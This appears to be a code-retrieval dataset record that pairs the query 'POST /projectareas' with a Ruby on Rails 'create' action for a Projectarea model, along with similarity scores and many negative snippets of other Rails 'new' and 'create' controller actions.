"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @project = Project.new\n @pcrsAll=Pcr.find(:all)\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end",
"def new\n @project = Project.new\n @edit_mode = true\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end",
"def new\n @proj_detail = ProjDetail.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @proj_detail }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @proposal = Proposal.new\n @proposal.area_tags = [Area.find(params[:area_id]).area_tag.name_es] if params[:area_id]\n respond_to do |format|\n format.html\n format.floki { render :action => 'new.floki', :content_type => 'application/json', :layout => false}\n end\n end",
"def new\n @project = Project.new\n @services = Service.find(:all)\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @past_project = PastProject.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @past_project }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.json { render json: @project }\n format.html # new.html.erb\n end\n end",
"def new\n authorize! :create, Project\n \n @project = Project.new\n puts @project\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @projecct = Projecct.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @projecct }\n end\n end",
"def new\n @projeto = Projeto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @projeto }\n end\n end",
"def new\n @geoname = Geoname.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @geoname }\n end\n end",
"def new\n @project = Project.new\n\n respond_to do |format|\n format.html\n format.json { render json: @project }\n end\n end",
"def new\n @project_step = ProjectStep.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project_step }\n end\n end",
"def new\n do_new_resource\n get_project_if_exists\n do_set_attributes\n do_authorize_instance\n\n # initialize lat/lng to Brisbane-ish\n @site.longitude = 152\n @site.latitude = -27\n respond_to do |format|\n format.html\n format.json { respond_new }\n end\n end",
"def new\n @project = Project.new\n @project.tools.build\n respond_to do |format|\n format.html # new.html.erb\n end\n end",
"def create\n @area = Area.new(params[:area])\n\n respond_to do |format|\n if @area.save\n flash[:notice] = 'Area was successfully created.'\n format.html { redirect_to(@area) }\n format.xml { render :xml => @area, :status => :created, :location => @area }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @area.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new_link\n @project = Project.new(user_id: current_user.id)\n fetch_projects\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @user = User.find( params[:user_id] )\n @project = Project.new( :title => \"New Project\" )\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end",
"def new\n @plantilla = Plantilla.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @plantilla }\n end\n end",
"def new\n propose_nr = Integer(Project.order(\"nr desc\").first.nr) + 1\n @project = Project.new(:nr => propose_nr, :active => true)\n @project.tasks.new(:name => \"Project Mgmt\", :description => \"\")\n @project.tasks.new(:name => \"Pre-P\", :description => \"Moodboards | Examining project data, plans, briefing, etc.\")\n @project.tasks.new(:name => \"Web\", :description => \"Flatfinder/Boligvelger (eve-Estate) | CMS/Website (eve-Publisher) | Landingpage\")\n @project.tasks.new(:name => \"Undividable 3D work for exteriors\", :description => \"Modeling/texturing of buildings and their surroundings. Populating/detailing with plants, outdoor furniture, traffic, etc.\")\n @project.tasks.new(:name => \"Undividable 3D work for interiors\", :description => \"Modeling/texturing of X apartments. Setting up furniture, accessories, decoration according to moodboards.\")\n @project.tasks.new(:name => \"#{propose_nr}-01_e\", :description => \"Scene setup, lighting and detail adjustments, rendering with subsequent post-production/compositing.\")\n @project.tasks.order(:name)\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n # Agrega el breadcrumb de la pagina new de proyecto\n add_breadcrumb I18n.t('project.new'), :controller => \"projects\", :action => \"new\"\n @project = Project.new\n end"
] |
[
"0.71269447",
"0.702568",
"0.6980662",
"0.6980662",
"0.69217044",
"0.6921029",
"0.6819034",
"0.6819034",
"0.6819034",
"0.6819034",
"0.6819034",
"0.6819034",
"0.6819034",
"0.6819034",
"0.6819034",
"0.6819034",
"0.6819034",
"0.6819034",
"0.6819034",
"0.6819034",
"0.6819034",
"0.6809748",
"0.6798713",
"0.67376953",
"0.6714546",
"0.6668937",
"0.662295",
"0.6574058",
"0.6567834",
"0.6553634",
"0.654156",
"0.6541261",
"0.65362495",
"0.65346134",
"0.6521408",
"0.64901656",
"0.6486604",
"0.64669216",
"0.64669216",
"0.6465171",
"0.6455732",
"0.6445668",
"0.64327013",
"0.6424979",
"0.6417662",
"0.64121574",
"0.6400865",
"0.639603",
"0.63933593",
"0.63874966",
"0.63838667",
"0.6380665",
"0.63749623",
"0.6373227",
"0.6370228",
"0.6363853",
"0.6363853",
"0.6363853",
"0.6363853",
"0.6363853",
"0.6363853",
"0.6363853",
"0.6363853",
"0.6363853",
"0.6363853",
"0.6363853",
"0.6363853",
"0.6363853",
"0.6363853",
"0.6363853",
"0.6363853",
"0.6363853",
"0.6363853",
"0.6363853",
"0.6363853",
"0.6363853",
"0.6363853",
"0.6363853",
"0.6358785",
"0.6352434",
"0.6350757",
"0.63415706",
"0.6330506",
"0.63223654",
"0.63157403",
"0.6312982",
"0.63113475",
"0.63110703",
"0.6307345",
"0.6304612",
"0.6301377",
"0.6299365",
"0.6292218",
"0.62866247",
"0.62699914",
"0.6269366",
"0.6262324",
"0.62620276",
"0.6252826",
"0.6251251"
] |
0.78220785
|
0
|
POST /projectareas POST /projectareas.xml
|
def create
@projectarea = Projectarea.new(params[:projectarea])
respond_to do |format|
if @projectarea.save
flash[:notice] = 'Projectarea was successfully created.'
format.html { redirect_to(@projectarea) }
format.xml { render :xml => @projectarea, :status => :created, :location => @projectarea }
else
format.html { render :action => "new" }
format.xml { render :xml => @projectarea.errors, :status => :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @project_area = ProjectArea.new(project_area_params)\n\n respond_to do |format|\n if @project_area.save\n format.html { redirect_to @project_area, notice: 'Project area was successfully created.' }\n format.json { render :show, status: :created, location: @project_area }\n else\n format.html { render :new }\n format.json { render json: @project_area.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @projectarea = Projectarea.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @projectarea }\n end\n end",
"def create\n @project_area_interest = ProjectAreaInterest.new(project_area_interest_params)\n\n respond_to do |format|\n if @project_area_interest.save\n format.html { redirect_to @project_area_interest }\n format.json { render :show, status: :created, location: @project_area_interest }\n else\n format.html { render :new }\n format.json { render json: @project_area_interest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def project_area_params\n params.require(:project_area).permit(:project_id, :investigation_area_id)\n end",
"def index\n @project_areas = ProjectArea.all\n end",
"def test_should_create_project_via_API_XML\r\n get \"/logout\"\r\n post \"/projects.xml\", :api_key=>'testapikey',\r\n :project => {:user_id => 1,\r\n :url => 'http://www.apiproject.com',\r\n :name => 'API Project',\r\n :description => 'API Project Desc' }\r\n assert_response :created\r\n end",
"def create\n #params[:area] == {\"parent_id\"=>\"21\",\"name\"=>\"test4\"} parent id from hidden field, name from field\n @area = Area.new(params[:area])\n\n respond_to do |format|\n if @area.save\n #format.html { redirect_to(@area, :notice => 'Area was successfully created.') }\n format.html { redirect_to(locations_url, :notice => \"#{@area.to_s} was successfully created.\") }\n format.xml { render :xml => @area, :status => :created, :location => @area }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @area.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @areas_profissional = AreasProfissional.new(areas_profissional_params)\n\n respond_to do |format|\n if @areas_profissional.save\n format.html { redirect_to @areas_profissional, notice: 'Área cadastrada com sucesso.' }\n format.json { render action: 'show', status: :created, location: @areas_profissional }\n else\n format.html { render :new }\n format.json { render json: @areas_profissional.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @area = Area.new(params[:area])\n\n respond_to do |format|\n if @area.save\n flash[:notice] = 'Area was successfully created.'\n format.html { redirect_to(@area) }\n format.xml { render :xml => @area, :status => :created, :location => @area }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @area.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n if params[:area_id]\n @parent_area = Area.find(params[:area_id]) \n @area = @parent_area.children.build \n else\n @area = Area.new \n end\n @area.project_leaders = []\n respond_with(@area)\n \n end",
"def create\n @area = Area.new(params[:area])\n @area.parent_id = params[:parent_id]\n respond_to do |format|\n if @area.save\n flash[:notice] = 'Area was successfully created.'\n format.html { redirect_to(@area) }\n format.xml { render :xml => @area, :status => :created, :location => @area }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @area.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_project_area\n @project_area = ProjectArea.find(params[:id])\n end",
"def areas\n @area = Area.new(geo_json: params.to_json)\n if @area.save\n json_response([id: @area.id], :created, :geo_json_recieved)\n else\n json_response(nil, :error, :db_error)\n end\n end",
"def create\r\n @area = Area.new(params[:area])\r\n\r\n respond_to do |format|\r\n if @area.save\r\n format.html { redirect_to areas_url(domain_id: @area.domain_id), notice: 'Area was successfully created.' }\r\n format.json { render json: @area, status: :created, location: @area }\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @area.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def test_should_not_create_project_via_API_XML\r\n get \"/logout\", :api_key=>'testapikey'\r\n post \"/projects.xml\", :project => {:user_id => 1,\r\n :url => 'http://www.apiproject.com',\r\n :name => 'API Project',\r\n :description => 'API Project Desc' }\r\n assert_response 401\r\n end",
"def create\n @project_objective = @project.project_objectives.new(params[:project_objective])\n\n respond_to do |format|\n if @project_objective.save\n format.html { redirect_to(edit_project_by_action_type_path(@project, \"objective\"), :notice => 'Project objective was successfully created.') }\n format.xml { render :xml => @project_objective, :status => :created, :location => @project_objective }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @project_objective.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n \n if params[:parent_id]\n @parent_area = Area.find(params[:parent_id]) \n @area = @parent_area.children.build(params[:area]) \n else\n @area = Area.new(params[:area]) \n end\n \n @errors = []\n \n #Me fijo que haya seleccionado al menos un coordinador válido para el área.\n @project_leaders = @area.project_leaders.split(%r{,\\s*})\n if !project_leaders_valid?(@project_leaders) \n @errors = @errors.concat([\"Debe seleccionar un coordinador válido para el área \" + @area.name])\n end\n \n if @errors.empty? && @area.valid?\n @area.save\n set_project_leaders(@project_leaders, @area)\n end\n respond_with(@area)\n end",
"def create\n @area = Area.new(params[:area])\n\n respond_to do |format|\n if @area.save\n format.html { redirect_to areas_path, notice: 'Area was successfully created.' }\n format.json { render json: @area, status: :created, location: @area }\n else\n format.html { render action: \"new\" }\n format.json { render json: @area.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @area = Area.new(params[:area])\n\n respond_to do |format|\n if @area.save\n format.html { redirect_to @area, notice: 'Area was successfully created.' }\n format.json { render json: @area, status: :created, location: @area }\n else\n format.html { render action: \"new\" }\n format.json { render json: @area.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @area = Area.new(params[:area])\n\n respond_to do |format|\n if @area.save\n format.html { redirect_to @area, notice: 'Area was successfully created.' }\n format.json { render json: @area, status: :created, location: @area }\n else\n format.html { render action: \"new\" }\n format.json { render json: @area.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @breadcrumb = 'create'\n @area = Area.new(params[:area])\n @area.created_by = current_user.id if !current_user.nil?\n\n respond_to do |format|\n if @area.save\n format.html { redirect_to @area, notice: crud_notice('created', @area) }\n format.json { render json: @area, status: :created, location: @area }\n else\n @departments = departments_dropdown\n @workers = workers_dropdown\n format.html { render action: \"new\" }\n format.json { render json: @area.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n #return render json: params[:recursos]\n @area = Area.new(area_params)\n @count = 0\n save_multiples_recursos if params[:recursos][:status] == '1'\n respond_to do |format|\n if @area.save\n format.html { redirect_to areas_path, notice: 'El Área fue creada éxitosamente.' }\n format.json { render :show, status: :created, location: @area }\n else\n format.html { render :new }\n format.json { render json: @area.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @postulate_area_interest = PostulateAreaInterest.new(postulate_area_interest_params)\n\n respond_to do |format|\n if @postulate_area_interest.save\n format.html { redirect_to @postulate_area_interest }\n format.json { render :show, status: :created, location: @postulate_area_interest }\n else\n format.html { render :new }\n format.json { render json: @postulate_area_interest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @survey_area = SurveyArea.new(params[:survey_area])\n\n respond_to do |format|\n if @survey_area.save\n format.html { redirect_to @survey_area, notice: 'Survey area was successfully created.' }\n format.json { render json: @survey_area, status: :created, location: @survey_area }\n else\n format.html { render action: \"new\" }\n format.json { render json: @survey_area.errors, status: :unprocessable_entity }\n end\n end\n end",
"def area_params\n params.require(:area).permit(:code, :name, :reservable, :status, :area_id, :institute_id,\n resources_attributes: [:id, :code, :name, :description, :movil, :pedagogic, :resource_id, :area_id, :_destroy])\n end",
"def destroy\n @projectarea = Projectarea.find(params[:id])\n @projectarea.destroy\n\n respond_to do |format|\n format.html { redirect_to(projectareas_url) }\n format.xml { head :ok }\n end\n end",
"def create\n @project = Project.new(params[:project])\n @project.user_id = session[:current_user_id]\n @project.views = 0\n @project.location = User.find(session[:current_user_id]).location\n\n respond_to do |format|\n\n if @project.save!\n unless params[:reward_conditions].blank? || params[:rewards].blank?\n for i in 0 .. params[:reward_conditions].size do \n reward = ProjectPrize.new({:name=>params[:reward_conditions][i],:description=>params[:rewards][i]})\n reward.project_id = @project.id\n reward.save\n end\n end\n format.html { redirect_to goal_url(@project) }\n format.xml { render :xml => @project, :status => :created, :location => @project }\n else\n logger.error(\"Error::projects_controller::create\")\n logger.error(\"Error::#{@project.errors}\")\n format.html { redirect_to new_goal_url, :error=>@project.errors }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @proposal = Proposal.new\n @proposal.area_tags = [Area.find(params[:area_id]).area_tag.name_es] if params[:area_id]\n respond_to do |format|\n format.html\n format.floki { render :action => 'new.floki', :content_type => 'application/json', :layout => false}\n end\n end",
"def create\n @issue_area = IssueArea.new(issue_area_params)\n\n respond_to do |format|\n if @issue_area.save\n format.html { redirect_to @issue_area, notice: 'Issue area was successfully created.' }\n format.json { render :show, status: :created, location: @issue_area }\n else\n format.html { render :new }\n format.json { render json: @issue_area.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n param = area_params\n user_balancer = current_user.balancer_id\n param[:balancer_ids] << user_balancer unless param[:balancer_ids].include?(user_balancer.to_s)\n\n @cabinet_production_area = current_user.production_areas.new(param)\n respond_to do |format|\n if status_valid?(area_params[:status]) && @cabinet_production_area.save\n QuestionnaireImages.build(params, @cabinet_production_area)\n public_send(params[:production_area][:status])\n format.html { redirect_to cabinet_production_areas_path, notice: 'Запис успішно створено.' }\n format.json { render :show, status: :created, location: @cabinet_production_area }\n else\n format.html { render :new }\n format.json { render json: @cabinet_production_area.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project_type_association = @project.project_type_associations.build(params[:project_type_association])\n\n respond_to do |format|\n if @project_type_association.save\n flash[:notice] = 'ProjectTypeAssociation was successfully created.'\n format.html { redirect_to([:admin, @project, @project_type_association]) }\n format.xml { render :xml => @project_type_association, :status => :created, :location => @project_type_association }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @project_type_association.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @projectarea = Projectarea.find(params[:id])\n\n respond_to do |format|\n if @projectarea.update_attributes(params[:projectarea])\n flash[:notice] = 'Projectarea was successfully updated.'\n format.html { redirect_to(@projectarea) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @projectarea.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def project_area_interest_params\n params.require(:project_area_interest).permit(:project_id, :area_interest_id)\n end",
"def create\n @tarea = Tarea.new(tarea_params)\n\n respond_to do |format|\n if @tarea.save\n format.html { redirect_to @tarea, notice: 'Tarea was successfully created.' }\n format.json { render :show, status: :created, location: @tarea }\n else\n format.html { render :new }\n format.json { render json: @tarea.errors, status: :unprocessable_entity }\n end\n end\n end",
"def pimo_params\n params.require(:pimo).permit(:area)\n end",
"def create\n @region = Region.new(region_params)\n\n respond_to do |format|\n if @region.save\n format.html { redirect_to regions_path, notice: 'Region was successfully created.' }\n format.json { render :show, status: :created, location: @region }\n else\n @region_areas = region_areas(@region, false)\n format.html { render :new }\n format.json { render json: @region.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @parking_area = ParkingArea.new(parking_area_params)\n\n respond_to do |format|\n if @parking_area.save\n format.html { redirect_to @parking_area, notice: 'Parking area was successfully created.' }\n format.json { render :show, status: :created, location: @parking_area }\n else\n format.html { render :new }\n format.json { render json: @parking_area.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @researcharea = Researcharea.new(params[:researcharea])\n\n respond_to do |format|\n if @researcharea.save\n format.html { redirect_to @researcharea, notice: 'Research area was successfully created.' }\n format.json { render json: @researcharea, status: :created, location: @researcharea }\n else\n format.html { render action: \"new\" }\n format.json { render json: @researcharea.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @group_area = GroupArea.new(params[:group_area])\n\n respond_to do |format|\n if @group_area.save\n format.html { redirect_to @group_area, notice: 'Group area was successfully created.' }\n format.json { render json: @group_area, status: :created, location: @group_area }\n else\n format.html { render action: \"new\" }\n format.json { render json: @group_area.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_should_update_project_via_API_XML\r\n get \"/logout\"\r\n put \"/projects/1.xml\", :project => {:user_id => 1,\r\n :url => 'http://www.apiproject.com',\r\n :name => 'API Project',\r\n :description => 'API Project Desc' }\r\n assert_response 401\r\n end",
"def create\n @sub_area = SubArea.new(sub_area_params)\n\n respond_to do |format|\n if @sub_area.save\n format.html { redirect_to @sub_area, notice: 'Sub area was successfully created.' }\n format.json { render :show, status: :created, location: @sub_area }\n else\n format.html { render :new }\n format.json { render json: @sub_area.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @project = @client.projects.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render xml: @project }\n end\n end",
"def create\n @map_area = MapArea.new(params[:map_area])\n @map_area.craigslist = params[:map_area][:craigslist] + \".craigslist.org\"\n respond_to do |format|\n if @map_area.save\n flash[:notice] = 'MapArea was successfully created.'\n format.html { redirect_to(@map_area) }\n format.xml { render :xml => @map_area, :status => :created, :location => @map_area }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @map_area.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def areas_profissional_params\n params.require(:areas_profissional).permit(:area, :ativo)\n end",
"def create\n @map_area = MapArea.new(params[:map_area])\n @map_area.craigslist = params[:craigslist] + \".craigslist.org\"\n respond_to do |format|\n if @map_area.save\n flash[:notice] = 'MapArea was successfully created.'\n format.html { redirect_to(@map_area) }\n format.xml { render :xml => @map_area, :status => :created, :location => @map_area }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @map_area.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @area_attribute = AreaAttribute.new(area_attribute_params)\n\n respond_to do |format|\n if @area_attribute.save\n format.html { redirect_to @area_attribute, notice: 'Area attribute was successfully created.' }\n format.json { render action: 'show', status: :created, location: @area_attribute }\n else\n format.html { render action: 'new' }\n format.json { render json: @area_attribute.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @subject_area = SubjectArea.new(params[:subject_area])\n\n respond_to do |format|\n if @subject_area.save\n format.html { redirect_to(@subject_area, :notice => 'Subject area was successfully created.') }\n format.xml { render :xml => @subject_area, :status => :created, :location => @subject_area }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @subject_area.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def test_should_create_project_via_API_JSON\r\n get \"/logout\"\r\n post \"/projects.json\", :api_key => 'testapikey',\r\n :project => {:user_id => 1,\r\n :url => 'http://www.apiproject.com',\r\n :name => 'API Project',\r\n :description => 'API Project Desc' }\r\n assert_response :created\r\n project = JSON.parse(response.body)\r\n check_new_project(project) \r\n end",
"def moip_post\n @nasp_rail = NaspRail.new(params[:nasp_rail])\n\n format.html { redirect_to @nasp_rail, :notice => 'Nova entrada criada com sucesso.' }\n format.json { render :json => @nasp_rail, :status => :created, :location => @nasp_rail }\n end",
"def area_params\n params.require(:area).permit(:name, :pincode)\n end",
"def create\n @research_area = ResearchArea.create(research_area_params)\n\n respond_to do |format|\n if @research_area.save\n format.html { redirect_to @research_area, notice: 'Research area was successfully created.' }\n format.json { render :show, status: :created, location: @research_area }\n else\n format.html { render :new }\n format.json { render json: @research_area.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(params[:project])\n<<<<<<< HEAD:app/controllers/projects_controller.rb\n handle_disciplines_projects\n=======\n>>>>>>> 336471e6be257cf55c9afa2a65f928fde34e41fe:app/controllers/projects_controller.rb\n\n respond_to do |format|\n if @project.save\n flash[:notice] = 'Project was successfully created.'\n format.html { redirect_to(@project) }\n format.xml { render :xml => @project, :status => :created, :location => @project }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @lab_area = LabArea.new(lab_area_params)\n\n respond_to do |format|\n if @lab_area.save\n format.html { redirect_to @lab_area, notice: 'Lab area was successfully created.' }\n format.json { render :show, status: :created, location: @lab_area }\n else\n format.html { render :new }\n format.json { render json: @lab_area.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(params[:project] || JSON.parse(request.body.read))\n\n if (params[:id])\n @project.id = params[:id]\n end\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to(@project, :notice => 'Project was successfully created.') }\n format.xml { render :xml => @project, :status => :created, :location => @project }\n format.json { render :json => @project }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n format.json { render :text => \"error creating project via http/json\" }\n end\n end\n end",
"def create\n @activities_project = ActivitiesProject.new(params[:activities_project])\n\n respond_to do |format|\n if @activities_project.save\n format.html { redirect_to(@activities_project, :notice => 'Activities project was successfully created.') }\n format.xml { render :xml => @activities_project, :status => :created, :location => @activities_project }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @activities_project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @tareas = Tarea.all\n @tareapositivas = Tarea.where(listo: true)\n @tarea = Tarea.new(tarea_params)\n\n respond_to do |format|\n if @tarea.save\n format.html { redirect_to @tarea, notice: 'Tarea was successfully created.' }\n format.json { render :show, status: :created, location: @tarea }\n else\n format.html { render :new }\n format.json { render json: @tarea.errors, status: :unprocessable_entity }\n end\n end\n end",
"def area_params\n params.require(:area).permit(:name)\n end",
"def create\n @project = @client.projects.build(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to(client_projects_url(@client), notice: 'Project was successfully created.') }\n format.xml { render xml: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.xml { render xml: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tarefa = Tarefa.new(params[:tarefa])\n @tarefa.projeto_id = @projeto.id\n \n respond_to do |format|\n if @tarefa.save\n flash[:notice] = 'Tarefa was successfully created.'\n format.html { redirect_to(projeto_tarefas_path(@projeto)) }\n format.xml { render :xml => @tarefa, :status => :created, :location => @tarefa }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @tarefa.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @openmapa = Openmapa.new(params[:openmapa])\n\n respond_to do |format|\n if @openmapa.save\n flash[:notice] = 'Openmapa was successfully created.'\n format.html { redirect_to(@openmapa) }\n format.xml { render :xml => @openmapa, :status => :created, :location => @openmapa }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @openmapa.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @country_area = CountryArea.new(params[:country_area])\n\n respond_to do |format|\n if @country_area.save\n format.html { redirect_to @country_area, notice: 'Country area was successfully created.' }\n format.json { render json: @country_area, status: :created, location: @country_area }\n else\n format.html { render action: \"new\" }\n format.json { render json: @country_area.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @userarea = Userarea.new(userarea_params)\n\n respond_to do |format|\n if @userarea.save\n format.html { redirect_to @userarea, notice: 'Userarea was successfully created.' }\n format.json { render :show, status: :created, location: @userarea }\n else\n format.html { render :new }\n format.json { render json: @userarea.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @admin_project = Admin::Project.new(params[:admin_project])\n respond_to do |format|\n if @admin_project.save\n flash[:notice] = 'Admin::Project was successfully created.'\n format.html { redirect_to(@admin_project) }\n format.xml { render :xml => @admin_project, :status => :created, :location => @admin_project }\n else\n format.html { redirect_to(new_admin_project_url) }\n format.xml { render :xml => @admin_project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @areas_skill = AreasSkill.new(areas_skill_params)\n\n respond_to do |format|\n if @areas_skill.save\n format.html { redirect_to @areas_skill, notice: 'Areas skill was successfully created.' }\n format.json { render :show, status: :created, location: @areas_skill }\n else\n format.html { render :new }\n format.json { render json: @areas_skill.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\r\n @project = current_user.projects.new(project_params)\r\n new_page = @project.pages.new({ name: generate_new_page_name})\r\n @project.startpage = new_page\r\n @project.date_created = Time.now\r\n @project.last_modified = Time.now\r\n respond_to do |format|\r\n if @project.save\r\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\r\n format.json { render action: 'show', status: :created, location: @project }\r\n else\r\n format.html { render action: 'new' }\r\n format.json { render json: @project.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def new\n @project = Project.new\n @project.disciplines = []\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end",
"def area_params\n params.require(:area).permit(:name, :active, :start_date, :end_date, :status, :audit_id)\n end",
"def create\n authorize! :create, Project\n\n @project = Project.new(params[:project])\n @role = ProjectRole.new()\n @role.user = current_user\n @role.project = @project\n @role.role = \"owner\"\n @role.save\n ap @role\n\n puts @project\n \n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @administrative_division = AdministrativeDivision.new(params[:administrative_division])\n @countries = Country.find :all\n @geo_positions = GeoPosition.find :all\n respond_to do |format|\n if @administrative_division.save\n flash[:notice] = 'AdministrativeDivision was successfully created.'\n format.html { redirect_to(@administrative_division) }\n format.xml { render :xml => @administrative_division, :status => :created, :location => @administrative_division }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @administrative_division.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @area = Area.new(params[:area])\n \n respond_to do |format|\n if @area.save\n flash[:notice] = 'Area creada correctamente.'\n format.html { params[:oper].nil? ? redirect_to(@area) : render(:text => \"Ok\")}\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @area.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @urlroot = Designax::Application.config.urlroot\n if params[:pk] == \"new\" and params[:name] == \"project_name\"\n project_name = params[:value]\n @project = Project.new()\n @project.project_name = project_name\n else\n @project = Project.new(params[:project])\n end\n\n respond_to do |format|\n if @project.save\n redirect_url = @urlroot + \"/projects\"\n response_url = { \"url\" => redirect_url }\n format.json { render json: response_url, status: 200 }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
